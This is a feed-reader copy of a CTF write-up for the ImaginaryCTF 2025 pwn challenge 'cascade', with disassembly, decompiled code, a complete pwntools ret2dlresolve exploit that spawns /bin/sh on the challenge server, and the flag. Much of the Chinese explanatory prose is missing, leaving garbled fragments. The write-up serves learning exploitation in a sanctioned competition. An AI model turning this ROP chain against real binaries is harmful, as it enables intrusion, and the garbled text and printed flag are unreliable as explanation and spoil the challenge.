惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - Franky
有赞技术团队
有赞技术团队
宝玉的分享
宝玉的分享
雷峰网
雷峰网
Hugging Face - Blog
Hugging Face - Blog
V
V2EX
大猫的无限游戏
大猫的无限游戏
博客园 - 司徒正美
D
Docker
T
The Blog of Author Tim Ferriss
罗磊的独立博客
博客园 - 叶小钗
酷 壳 – CoolShell
酷 壳 – CoolShell
Blog — PlanetScale
Blog — PlanetScale
月光博客
月光博客
J
Java Code Geeks
Jina AI
Jina AI
博客园 - 【当耐特】
C
Check Point Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
腾讯CDC
Last Week in AI
Last Week in AI
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
V
Visual Studio Blog

Entropic

Inspect: Read the Bits :: Entropic NETGEAR EXS27 NGR LAN-side Pre-auth Command Injection in llmnrd via LLMNR Query Name :: Entropic ANSI Ink for Philes :: Entropic NETGEAR EXS27 NGR Pre-auth Administrator Takeover Chained to Root SSH Shell via Configuration Restore :: Entropic NETGEAR EXS27 NGR Pre-auth debug.cgi Archive Sensitive Information Disclosure :: Entropic Let's Decrypt NETGEAR EXS27 NGR Firmware V1.0.1.34! :: Entropic NETGEAR EXS27 NGR Local-LAN/L2 Pre-auth Command Injection in Root-started devProbe via DHCP Option 12 Hostname :: Entropic CVE-2017-9048: libxml2 :: Entropic CVE-2016-9297: LibTIFF :: Entropic CVE-2017-13028: TCPdump :: Entropic Fuzz two legacy CVEs in libexif :: Entropic CVE-2019-13288: Xpdf :: Entropic The Fuzzy Notebook :: Entropic Write-ups: Pwnable.tw :: Entropic Write-ups: System Security (Microarchitecture Exploitation) series :: Entropic Intel Control-flow Enforcement Technology Bypass :: Entropic Write-ups: 0xL4ugh CTF v5 :: Entropic 此地不宜调试 :: Entropic 梅花易数札记 :: Entropic Write-ups: ARM Architecture (ARM64 ROP) series :: Entropic The Cross-ISAs Notebook :: Entropic 2025 年终总结 :: Entropic Write-ups: System Security (Kernel Security) series (Completed) :: Entropic Write-ups: BlackHat MEA CTF Final 2025 :: Entropic Write-ups: Software Exploitation (Exploitation Primitives) series (Completed) :: Entropic Sapido RB-1732 路由器 RCE 漏洞 :: Entropic Write-ups: Software Exploitation (File Struct Exploits) series (Completed) :: Entropic Write-ups: 第八届「强网」拟态防御国际精英挑战赛-线上预选赛 :: Entropic Write-ups: 第九届「强网杯」全国网络安全挑战赛 :: Entropic Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed) :: Entropic
Write-ups: ImaginaryCTF 2025 :: Entropic
CuB3y0nd · 2025-09-19 · via Entropic
# cascade

## Information

- Category: Pwn
- Difficulty: Medium
- Points: 292

## Description

> just a buffer overflow, right?

## Write-up

64 512 Partial RELRO gadgets libc……
 `ret2dlresolve` system system
 system  shell 
 exp ……

 wp ret2dlresolve pwntools  
fake structures system system 
 rdi gadget 
 rop  wp 
……

 wp  system
怀亿
……

ropper  gadgets system 


 main  `setvbuf` bss 

```asm ins={10-21}
; Attributes: bp-based frame

; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
mov     rax, cs:stdout@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     rax, cs:stdin@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     eax, 0
call    vuln
mov     eax, 0
pop     rbp
retn
; } // starts at 40117B
main endp

_text ends
```

 bss  `stdin`  `stdout`  rdi 
 PIE~~

 ret2dlresolve  got  main 
 setvbuf  dlresolve 
 system  setvbuf  got  main 
 setvbuf setvbuf  system 



```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  vuln();
  return 0;
}
```

:::important
 payload `data_addr`  dlresolve payl
oad  read  RBP 
 dlresolve  prologues  RSP 
访 abort 
:::

~_PS: ……
…… :sob:_~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    Ret2dlresolvePayload,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./vuln"
HOST, PORT = "cascade.chal.imaginaryctf.org", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x401162
    dlresolve = Ret2dlresolvePayload(
        elf=elf,
        symbol="system",
        args=[],
        data_addr=0x404070,
        resolution_addr=elf.got["setvbuf"],
    )
    payload = flat(
        b"A" * 64,
        elf.sym["stdout"] + 0x40,
        read,
    ).ljust(0x200 - 1, b"x00")

    raw_input("DEBUG")
    target.sendline(payload)

    rop.ret2dlresolve(dlresolve)
    rop.raw(rop.ret)
    rop.main()
    target.success(rop.dump())

    payload = flat(
        elf.sym["stdout"] + 0x8,  # /bin/sh address
        b"/bin/shx00",
        b"A" * 0x30,
        0x404F40,  # rbp
        read,
        dlresolve.payload,
    ).ljust(0x200 - 1, b"x00")
    target.sendline(payload)

    payload = flat(
        b"A" * 0x40,
        b"B" * 0x8,  # rbp
        rop.chain(),
    ).ljust(0x200 - 1, b"x00")
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`ictf{i_h0pe_y0u_didnt_use_ret2dl_94b51175}`]